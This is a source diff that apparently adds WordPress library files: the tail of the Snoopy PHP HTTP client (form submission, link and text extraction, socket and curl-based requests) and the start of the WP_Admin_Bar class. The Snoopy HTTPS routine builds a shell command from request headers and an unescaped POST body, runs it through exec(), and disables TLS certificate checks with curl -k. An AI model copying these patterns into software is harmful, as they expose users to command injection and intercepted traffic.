+							$this->lastredirectaddr=$this->_redirectaddr;
+							$this->fetch($this->_redirectaddr);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	submit
+	Purpose:	submit an http form
+	Input:		$URI	the location to post the data
+				$formvars	the formvars to use.
+					format: $formvars["var"] = "val";
+				$formfiles  an array of files to submit
+					format: $formfiles["var"] = "/dir/filename.ext";
+	Output:		$this->results	the text output from the post
+\*======================================================================*/
+
+	function submit($URI, $formvars="", $formfiles="")
+	{
+		unset($postdata);
+
+		$postdata = $this->_prepare_post_body($formvars, $formfiles);
+
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+								$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								if( strpos( $this->_redirectaddr, "?" ) > 0 )
+									$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+								else
+									$this->submit($this->_redirectaddr,$formvars, $formfiles);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+							$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							if( strpos( $this->_redirectaddr, "?" ) > 0 )
+								$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+							else
+								$this->submit($this->_redirectaddr,$formvars, $formfiles);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	fetchlinks
+	Purpose:	fetch the links from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	an array of the URLs
+\*======================================================================*/
+
+	function fetchlinks($URI)
+	{
+		if ($this->fetch($URI))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striplinks($this->results);
+
+			if($this->expandlinks)
+				$this->results = $this->_expandlinks($this->results, $URI);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	fetchform
+	Purpose:	fetch the form elements from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the resulting html form
+\*======================================================================*/
+
+	function fetchform($URI)
+	{
+
+		if ($this->fetch($URI))
+		{
+
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_stripform($this->results[$x]);
+			}
+			else
+				$this->results = $this->_stripform($this->results);
+
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+/*======================================================================*\
+	Function:	fetchtext
+	Purpose:	fetch the text from a web page, stripping the links
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function fetchtext($URI)
+	{
+		if($this->fetch($URI))
+		{
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striptext($this->results);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submitlinks
+	Purpose:	grab links from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	an array of the links from the post
+\*======================================================================*/
+
+	function submitlinks($URI, $formvars="", $formfiles="")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striplinks($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submittext
+	Purpose:	grab text from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function submittext($URI, $formvars = "", $formfiles = "")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striptext($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+
+/*======================================================================*\
+	Function:	set_submit_multipart
+	Purpose:	Set the form submission content type to
+				multipart/form-data
+\*======================================================================*/
+	function set_submit_multipart()
+	{
+		$this->_submit_type = "multipart/form-data";
+	}
+
+
+/*======================================================================*\
+	Function:	set_submit_normal
+	Purpose:	Set the form submission content type to
+				application/x-www-form-urlencoded
+\*======================================================================*/
+	function set_submit_normal()
+	{
+		$this->_submit_type = "application/x-www-form-urlencoded";
+	}
+
+
+
+
+/*======================================================================*\
+	Private functions
+\*======================================================================*/
+
+
+/*======================================================================*\
+	Function:	_striplinks
+	Purpose:	strip the hyperlinks from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _striplinks($document)
+	{
+		preg_match_all("'<\s*a\s.*?href\s*=\s*			# find <a href=
+						([\"\'])?					# find single or double quote
+						(?(1) (.*?)\\1 | ([^\s\>]+))		# if quote found, match up to next matching
+													# quote, otherwise match up to next space
+						'isx",$document,$links);
+
+
+		// catenate the non-empty matches from the conditional subpattern
+
+		while(list($key,$val) = each($links[2]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		while(list($key,$val) = each($links[3]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		// return the links
+		return $match;
+	}
+
+/*======================================================================*\
+	Function:	_stripform
+	Purpose:	strip the form elements from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _stripform($document)
+	{
+		preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);
+
+		// catenate the matches
+		$match = implode("\r\n",$elements[0]);
+
+		// return the links
+		return $match;
+	}
+
+
+
+/*======================================================================*\
+	Function:	_striptext
+	Purpose:	strip the text from an html document
+	Input:		$document	document to strip.
+	Output:		$text		the resulting text
+\*======================================================================*/
+
+	function _striptext($document)
+	{
+
+		// I didn't use preg eval (//e) since that is only available in PHP 4.0.
+		// so, list your entities one by one here. I included some of the
+		// more common ones.
+
+		$search = array("'<script[^>]*?>.*?</script>'si",	// strip out javascript
+						"'<[\/\!]*?[^<>]*?>'si",			// strip out html tags
+						"'([\r\n])[\s]+'",					// strip out white space
+						"'&(quot|#34|#034|#x22);'i",		// replace html entities
+						"'&(amp|#38|#038|#x26);'i",			// added hexadecimal values
+						"'&(lt|#60|#060|#x3c);'i",
+						"'&(gt|#62|#062|#x3e);'i",
+						"'&(nbsp|#160|#xa0);'i",
+						"'&(iexcl|#161);'i",
+						"'&(cent|#162);'i",
+						"'&(pound|#163);'i",
+						"'&(copy|#169);'i",
+						"'&(reg|#174);'i",
+						"'&(deg|#176);'i",
+						"'&(#39|#039|#x27);'",
+						"'&(euro|#8364);'i",				// europe
+						"'&a(uml|UML);'",					// german
+						"'&o(uml|UML);'",
+						"'&u(uml|UML);'",
+						"'&A(uml|UML);'",
+						"'&O(uml|UML);'",
+						"'&U(uml|UML);'",
+						"'&szlig;'i",
+						);
+		$replace = array(	"",
+							"",
+							"\\1",
+							"\"",
+							"&",
+							"<",
+							">",
+							" ",
+							chr(161),
+							chr(162),
+							chr(163),
+							chr(169),
+							chr(174),
+							chr(176),
+							chr(39),
+							chr(128),
+							chr(0xE4), // ANSI &auml;
+							chr(0xF6), // ANSI &ouml;
+							chr(0xFC), // ANSI &uuml;
+							chr(0xC4), // ANSI &Auml;
+							chr(0xD6), // ANSI &Ouml;
+							chr(0xDC), // ANSI &Uuml;
+							chr(0xDF), // ANSI &szlig;
+						);
+
+		$text = preg_replace($search,$replace,$document);
+
+		return $text;
+	}
+
+/*======================================================================*\
+	Function:	_expandlinks
+	Purpose:	expand each link into a fully qualified URL
+	Input:		$links			the links to qualify
+				$URI			the full URI to get the base from
+	Output:		$expandedLinks	the expanded links
+\*======================================================================*/
+
+	function _expandlinks($links,$URI)
+	{
+
+		preg_match("/^[^\?]+/",$URI,$match);
+
+		$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
+		$match = preg_replace("|/$|","",$match);
+		$match_part = parse_url($match);
+		$match_root =
+		$match_part["scheme"]."://".$match_part["host"];
+
+		$search = array( 	"|^http://".preg_quote($this->host)."|i",
+							"|^(\/)|i",
+							"|^(?!http://)(?!mailto:)|i",
+							"|/\./|",
+							"|/[^\/]+/\.\./|"
+						);
+
+		$replace = array(	"",
+							$match_root."/",
+							$match."/",
+							"/",
+							"/"
+						);
+
+		$expandedLinks = preg_replace($search,$replace,$links);
+
+		return $expandedLinks;
+	}
+
+/*======================================================================*\
+	Function:	_httprequest
+	Purpose:	go get the http data from the server
+	Input:		$url		the url to fetch
+				$fp			the current open file pointer
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
+	{
+		$cookie_headers = '';
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
+		if(!empty($this->agent))
+			$headers .= "User-Agent: ".$this->agent."\r\n";
+		if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
+			$headers .= "Host: ".$this->host;
+			if(!empty($this->port) && $this->port != 80)
+				$headers .= ":".$this->port;
+			$headers .= "\r\n";
+		}
+		if(!empty($this->accept))
+			$headers .= "Accept: ".$this->accept."\r\n";
+		if(!empty($this->referer))
+			$headers .= "Referer: ".$this->referer."\r\n";
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_headers .= 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers .= substr($cookie_headers,0,-2) . "\r\n";
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers .= $headerKey.": ".$headerVal."\r\n";
+		}
+		if(!empty($content_type)) {
+			$headers .= "Content-type: $content_type";
+			if ($content_type == "multipart/form-data")
+				$headers .= "; boundary=".$this->_mime_boundary;
+			$headers .= "\r\n";
+		}
+		if(!empty($body))
+			$headers .= "Content-length: ".strlen($body)."\r\n";
+		if(!empty($this->user) || !empty($this->pass))
+			$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";
+
+		//add proxy auth headers
+		if(!empty($this->proxy_user))
+			$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";
+
+
+		$headers .= "\r\n";
+
+		// set the read timeout if needed
+		if ($this->read_timeout > 0)
+			socket_set_timeout($fp, $this->read_timeout);
+		$this->timed_out = false;
+
+		fwrite($fp,$headers.$body,strlen($headers.$body));
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		while($currentHeader = fgets($fp,$this->_maxlinelen))
+		{
+			if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+			{
+				$this->status=-100;
+				return false;
+			}
+
+			if($currentHeader == "\r\n")
+				break;
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location:|URI:)/i",$currentHeader))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$currentHeader))
+			{
+                if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
+				{
+					$this->status= $status[1];
+                }
+				$this->response_code = $currentHeader;
+			}
+
+			$this->headers[] = $currentHeader;
+		}
+
+		$results = '';
+		do {
+    		$_data = fread($fp, $this->maxlength);
+    		if (strlen($_data) == 0) {
+        		break;
+    		}
+    		$results .= $_data;
+		} while(true);
+
+		if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+		{
+			$this->status=-100;
+			return false;
+		}
+
+		// check if there is a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	_httpsrequest
+	Purpose:	go get the https data from the server using curl
+	Input:		$url		the url to fetch
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
+	{
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$headers = array();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		// GET ... header not needed for curl
+		//$headers[] = $http_method." ".$url." ".$this->_httpversion;
+		if(!empty($this->agent))
+			$headers[] = "User-Agent: ".$this->agent;
+		if(!empty($this->host))
+			if(!empty($this->port))
+				$headers[] = "Host: ".$this->host.":".$this->port;
+			else
+				$headers[] = "Host: ".$this->host;
+		if(!empty($this->accept))
+			$headers[] = "Accept: ".$this->accept;
+		if(!empty($this->referer))
+			$headers[] = "Referer: ".$this->referer;
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_str = 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers[] = substr($cookie_str,0,-2);
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers[] = $headerKey.": ".$headerVal;
+		}
+		if(!empty($content_type)) {
+			if ($content_type == "multipart/form-data")
+				$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
+			else
+				$headers[] = "Content-type: $content_type";
+		}
+		if(!empty($body))
+			$headers[] = "Content-length: ".strlen($body);
+		if(!empty($this->user) || !empty($this->pass))
+			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
+
+		for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
+			$safer_header = strtr( $headers[$curr_header], "\"", " " );
+			$cmdline_params .= " -H \"".$safer_header."\"";
+		}
+
+		if(!empty($body))
+			$cmdline_params .= " -d \"$body\"";
+
+		if($this->read_timeout > 0)
+			$cmdline_params .= " -m ".$this->read_timeout;
+
+		$headerfile = tempnam($this->temp_dir, "sno");
+
+		exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
+
+		if($return)
+		{
+			$this->error = "Error: cURL could not retrieve the document, error $return.";
+			return false;
+		}
+
+
+		$results = implode("\r\n",$results);
+
+		$result_headers = file("$headerfile");
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
+		{
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
+				$this->response_code = $result_headers[$currentHeader];
+
+			$this->headers[] = $result_headers[$currentHeader];
+		}
+
+		// check if there is a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		unlink("$headerfile");
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	setcookies()
+	Purpose:	set cookies for a redirection
+\*======================================================================*/
+
+	function setcookies()
+	{
+		for($x=0; $x<count($this->headers); $x++)
+		{
+		if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
+			$this->cookies[$match[1]] = urldecode($match[2]);
+		}
+	}
+
+
+/*======================================================================*\
+	Function:	_check_timeout
+	Purpose:	checks whether timeout has occurred
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _check_timeout($fp)
+	{
+		if ($this->read_timeout > 0) {
+			$fp_status = socket_get_status($fp);
+			if ($fp_status["timed_out"]) {
+				$this->timed_out = true;
+				return true;
+			}
+		}
+		return false;
+	}
+
+/*======================================================================*\
+	Function:	_connect
+	Purpose:	make a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _connect(&$fp)
+	{
+		if(!empty($this->proxy_host) && !empty($this->proxy_port))
+			{
+				$this->_isproxy = true;
+
+				$host = $this->proxy_host;
+				$port = $this->proxy_port;
+			}
+		else
+		{
+			$host = $this->host;
+			$port = $this->port;
+		}
+
+		$this->status = 0;
+
+		if($fp = fsockopen(
+					$host,
+					$port,
+					$errno,
+					$errstr,
+					$this->_fp_timeout
+					))
+		{
+			// socket connection succeeded
+
+			return true;
+		}
+		else
+		{
+			// socket connection failed
+			$this->status = $errno;
+			switch($errno)
+			{
+				case -3:
+					$this->error="socket creation failed (-3)";
+				case -4:
+					$this->error="dns lookup failure (-4)";
+				case -5:
+					$this->error="connection refused or timed out (-5)";
+				default:
+					$this->error="connection failed (".$errno.")";
+			}
+			return false;
+		}
+	}
+/*======================================================================*\
+	Function:	_disconnect
+	Purpose:	disconnect a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _disconnect($fp)
+	{
+		return(fclose($fp));
+	}
+
+
+/*======================================================================*\
+	Function:	_prepare_post_body
+	Purpose:	Prepare post body according to encoding type
+	Input:		$formvars  - form variables
+				$formfiles - form upload files
+	Output:		post body
+\*======================================================================*/
+
+	function _prepare_post_body($formvars, $formfiles)
+	{
+		settype($formvars, "array");
+		settype($formfiles, "array");
+		$postdata = '';
+
+		if (count($formvars) == 0 && count($formfiles) == 0)
+			return;
+
+		switch ($this->_submit_type) {
+			case "application/x-www-form-urlencoded":
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
+						}
+					} else
+						$postdata .= urlencode($key)."=".urlencode($val)."&";
+				}
+				break;
+
+			case "multipart/form-data":
+				$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));
+
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= "--".$this->_mime_boundary."\r\n";
+							$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
+							$postdata .= "$cur_val\r\n";
+						}
+					} else {
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
+						$postdata .= "$val\r\n";
+					}
+				}
+
+				reset($formfiles);
+				while (list($field_name, $file_names) = each($formfiles)) {
+					settype($file_names, "array");
+					while (list(, $file_name) = each($file_names)) {
+						if (!is_readable($file_name)) continue;
+
+						$fp = fopen($file_name, "r");
+						$file_content = fread($fp, filesize($file_name));
+						fclose($fp);
+						$base_name = basename($file_name);
+
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
+						$postdata .= "$file_content\r\n";
+					}
+				}
+				$postdata .= "--".$this->_mime_boundary."--\r\n";
+				break;
+		}
+
+		return $postdata;
+	}
+}
+endif;
+?>
Index: /tags/4.1.6/src/wp-includes/class-wp-admin-bar.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-admin-bar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-admin-bar.php	(revision 33402)
@@ -0,0 +1,517 @@
+<?php
+/**
+ * The WordPress Toolbar
+ *
+ * @since 3.1.0
+ *
+ * @package WordPress
+ * @subpackage Toolbar
+ */
+class WP_Admin_Bar {
+	private $nodes = array();
+	private $bound = false;
+	public $user;
+
+	public function __get( $name ) {
+		switch ( $name ) {
+			case 'proto' :
+				return is_ssl() ? 'https://' : 'http://';
+
+			case 'menu' :
+				_deprecated_argument( 'WP_Admin_Bar', '3.3', 'Modify admin bar nodes with WP_Admin_Bar::get_node(), WP_Admin_Bar::add_node(), and WP_Admin_Bar::remove_node(), not the <code>menu</code> property.' );
+				return array(); // Sorry, folks.
+		}
+	}
+
+	public function initialize() {
+		$this->user = new stdClass;
+
+		if ( is_user_logged_in() ) {
+			/* Populate settings we need for the menu based on the current user. */
+			$this->user->blogs = get_blogs_of_user( get_current_user_id() );
+			if ( is_multisite() ) {
+				$this->user->active_blog = get_active_blog_for_user( get_current_user_id() );
+				$this->user->domain = empty( $this->user->active_blog ) ? user_admin_url() : trailingslashit( get_home_url( $this->user->active_blog->blog_id ) );
+				$this->user->account_domain = $this->user->domain;
+			} else {
+				$this->user->active_blog = $this->user->blogs[get_current_blog_id()];
+				$this->user->domain = trailingslashit( home_url() );
+				$this->user->account_domain = $this->user->domain;
+			}
+		}
+
+		add_action( 'wp_head', 'wp_admin_bar_header' );
+
+		add_action( 'admin_head', 'wp_admin_bar_header' );
+
+		if ( current_theme_supports( 'admin-bar' ) ) {
+			/**
+			 * To remove the default padding styles from WordPress for the Toolbar, use the following code:
+			 * add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
+			 */
+			$admin_bar_args = get_theme_support( 'admin-bar' );
+			$header_callback = $admin_bar_args[0]['callback'];
+		}
+
+		if ( empty($header_callback) )
+			$header_callback = '_admin_bar_bump_cb';
+
+		add_action('wp_head', $header_callback);
+
+		wp_enqueue_script( 'admin-bar' );
+		wp_enqueue_style( 'admin-bar' );
+
+		/**
+		 * Fires after WP_Admin_Bar is initialized.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'admin_bar_init' );
+	}
+
+	public function add_menu( $node ) {
+		$this->add_node( $node );
+	}
+
+	public function remove_menu( $id ) {
+		$this->remove_node( $id );
+	}
+
+	/**
+	 * Add a node to the menu.
+	 *
+	 * @param array $args {
+	 *     Arguments for adding a node.
+	 *
+	 *     @type string $id     ID of the item.
+	 *     @type string $title  Title of the node.
+	 *     @type string $parent Optional. ID of the parent node.
+	 *     @type string $href   Optional. Link for the item.
+	 *     @type bool   $group  Optional. Whether or not the node is a group. Default false.
+	 *     @type array  $meta   Meta data including the following keys: 'html', 'class', 'rel',
+	 *                          'onclick', 'target', 'title', 'tabindex'. Default empty.
+	 * }
+	 */
